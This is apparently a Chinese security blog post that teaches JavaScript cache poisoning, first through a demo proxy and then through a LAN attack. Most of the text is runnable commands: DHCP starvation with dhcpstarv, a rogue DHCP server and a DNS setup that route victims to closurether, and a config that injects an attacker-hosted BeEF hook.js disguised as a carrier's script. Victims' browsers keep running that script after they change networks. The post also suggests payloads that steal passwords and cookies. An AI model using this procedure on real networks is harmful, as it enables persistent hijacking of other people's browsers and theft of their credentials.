Javascript緩存投毒學(xué)習(xí)與實(shí)戰(zhàn)
0x00 起因
不久前@三好學(xué)生師傅買了一個(gè)wooyun wifi,然后聊到了緩存投毒:

然后看到wooyun wifi的這個(gè)說明:
默認(rèn)情況下該功能附帶緩存投毒功能,將視圖緩存所有的頁面至2099年,您可以通過清除所有緩存以及瀏覽器數(shù)據(jù)來清除緩存投毒的影響。
覺得這是個(gè)很不錯(cuò)的技術(shù),所以查詢谷爺,度娘,拜讀了@EtherDream 大牛寫的文章以后,就有了這篇文章,也算是一個(gè)總結(jié)。
0x01 簡介&原理
js緩存投毒說白了就是受害者的瀏覽器緩存了一個(gè)被我們篡改的js腳本,如果緩存沒有被清除,每次這個(gè)受害者訪問網(wǎng)頁的時(shí)候都會加載我們的js腳本。
那他是什么原理呢,很簡單,其實(shí)就是瀏覽器的緩存機(jī)制,通常,為了加速各種靜態(tài)資源的訪問,各大網(wǎng)站會把一些靜態(tài)資源緩存到客戶端,這樣一方面能提高客戶體驗(yàn),一方面也能減輕web服務(wù)器的壓力。
瀏覽器緩存控制機(jī)制有兩種:HTML Meta標(biāo)簽 以及 HTTP頭信息,通常,web開發(fā)者可以在HTML頁面的head節(jié)點(diǎn)中加入Meta標(biāo)簽,比如:
- <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
代碼的作用是告訴瀏覽器當(dāng)前頁面不被緩存,每次訪問都需要去服務(wù)器拉取。 更多瀏覽器緩存機(jī)制我就不多說了,詳情請戳我。
要想預(yù)加載并緩存一個(gè)腳本很容易,只需new Image().src=''。當(dāng)然有少數(shù)瀏覽器不支持,不過ie和chrome都是支持的。盡管js文件并不是一個(gè)圖片,但仍然會緩存。
0x02 準(zhǔn)備工作
安裝node
wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下載
tar zxvf node-master.zip //解壓
cd node-master
./configure
make //編譯
make install //安裝
安裝closurether
npm install -g closurether
安裝phantomjs
下載安裝,具體詳見phantomjs,根據(jù)自己的系統(tǒng)進(jìn)行選擇。
0x03 示例
測試過程中,使用了EtherDream大牛的demo。具體過程如下。
下載安裝:
root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
root@kali:~/Desktop/# cd js
root@kali:~/Desktop/js/# npm install
更新緩存列表
root@kali:~/Desktop/js# cd tool/
root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

這個(gè)腳本的作用主要是為了找出各大網(wǎng)站中緩存最久的腳本資源,也就是我們要進(jìn)行投毒的腳本鏈接。網(wǎng)站可以再url.txt里面添加,之后將生成的json復(fù)制到 asset 目錄。
root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/
運(yùn)行
root@kali:~/Desktop/js/tool# cd .. root@kali:~/Desktop/js# node index.js
測試:
瀏覽器代理 HTTP -> 127.0.0.1:8080 訪問任意 HTTP。

關(guān)閉代理 打開126,360等網(wǎng)站(chrome測試成功,火狐失敗)成功彈框。

關(guān)閉瀏覽器(不清除緩存),再次打開,訪問360時(shí)依然會彈框。
其中,index.js實(shí)現(xiàn)了代理并替換原本靜態(tài)腳本響應(yīng)內(nèi)容,并將響應(yīng)頭中Cache-Control字段改為max-age=31536000,如下圖代碼:

而替換的腳本為asset目錄下的stub.js,stub.js注入外部js關(guān)鍵代碼如下圖:

其中www.etherdream.com/hack/trojan.js 為我們可控的js,上例中該js的內(nèi)容為
alert('xss run: ' + location.href);
我們可以通過修改該腳本內(nèi)容來實(shí)現(xiàn)不同的功能。
0x04 實(shí)戰(zhàn)
此次實(shí)戰(zhàn)在局域網(wǎng)中結(jié)合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻擊機(jī)使用了kali2.0。
1.開啟beef
root@kali:~# cd /usr/share/beef-xss/ root@kali:/usr/share/beef-xss# ./beef
2.配置closurether
獲取最新的緩存列表
root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer# phantomjs sniffer.js
可以通過修改url.txt的內(nèi)容來指定網(wǎng)站,此次測試過程中url中包含126以及360幾個(gè)網(wǎng)站。 配置config.json文件如下:
{
"hacker_url": "http://192.168.1.108:3000/hook.js",
"inject_url": "http://10086.cn/js10086/201306301200.js",
"debug": false,
"dump": false,
"dumpPath": "./dump/"
}
其中hacker_url為我們的js地址,此處為beef的js地址,inject_url 為偽裝的js地址。
運(yùn)行closurether:
root@kali:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443
2.進(jìn)行dhcp攻擊:
下載dhcpstarv,安裝:
root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
root@kali:~/Desktop# cd dhcpstarv-0.2.1/
root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure
root@kali:~/Desktop/dhcpstarv-0.2.1# make
root@kali:~/Desktop/dhcpstarv-0.2.1# make install
Kali默認(rèn)沒有安裝dhcpstarv,也可以用yersinia代替
安裝dhcp服務(wù)器:
root@kali:~# apt-get install isc-dhcp-server
修改dhcp配置文件dhcpd.conf
root@kali:~# cd /etc/dhcp/
root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
root@kali:/etc/dhcp# vim dhcpd.conf
修改DHCP分配的地址池,修改默認(rèn)路由為原來路由的Ip,修改廣播地址:

設(shè)置dns為開啟了closurether的地址,如下圖:

這里最好加一個(gè)正常的DNS服務(wù)器地址最為備選,防止我們的DNS服務(wù)對部分域名不解析
開啟操作系統(tǒng)的路由轉(zhuǎn)發(fā):
root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
啟動(dòng)DHCP服務(wù):
root@kali:/etc/dhcp# service isc-dhcp-server start
攻擊正常的dhcp服務(wù)器,耗光ip資源:
root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108
-e參數(shù)后面跟攻擊者的ip

然后當(dāng)有客戶端連入的時(shí)候,由于正常的DHCP服務(wù)器已經(jīng)沒有可分配的IP資源,新的內(nèi)網(wǎng)主機(jī)就會使用攻擊者DHCP服務(wù)器分配的IP,如下圖:

可以看到DNS已經(jīng)改成了我們想要改的地址。
這里說明下,如果可以直接進(jìn)路由修改DNS,就直接進(jìn)路由改,這樣比較穩(wěn)定,修改DNS為我們運(yùn)行closurether的地址。
主要工具運(yùn)行截圖:

這時(shí),被篡改DNS的客戶端瀏覽網(wǎng)站的時(shí)候,就會運(yùn)行我們植入的JS腳本,打開126以后,可以看到beef那里已經(jīng)成功上線了:

而我們的js則已經(jīng)被隱藏為10086的js

將路由器重啟,使用正常的DHCP為虛擬機(jī)分配ip地址,使用瀏覽器(未清理緩存)打開360:

這時(shí)可以看到beef上又上線了:

beef的功能很強(qiáng)大,但不是本文的重點(diǎn),當(dāng)然js也可以換成其他,別如竊取某些網(wǎng)站的賬號密碼的js,或者獲取客戶端cookie的等等,這里就不多說了
這樣就達(dá)到了時(shí)光機(jī)的效果,雖然上網(wǎng)環(huán)境換了,但是由于瀏覽器的緩存沒有清除,任然會執(zhí)行我們的js,至此整個(gè)攻擊完成。
0x05 總結(jié)
從上面的整個(gè)過程可以得出的結(jié)論就是不要隨意通過不認(rèn)識的wifi上網(wǎng)!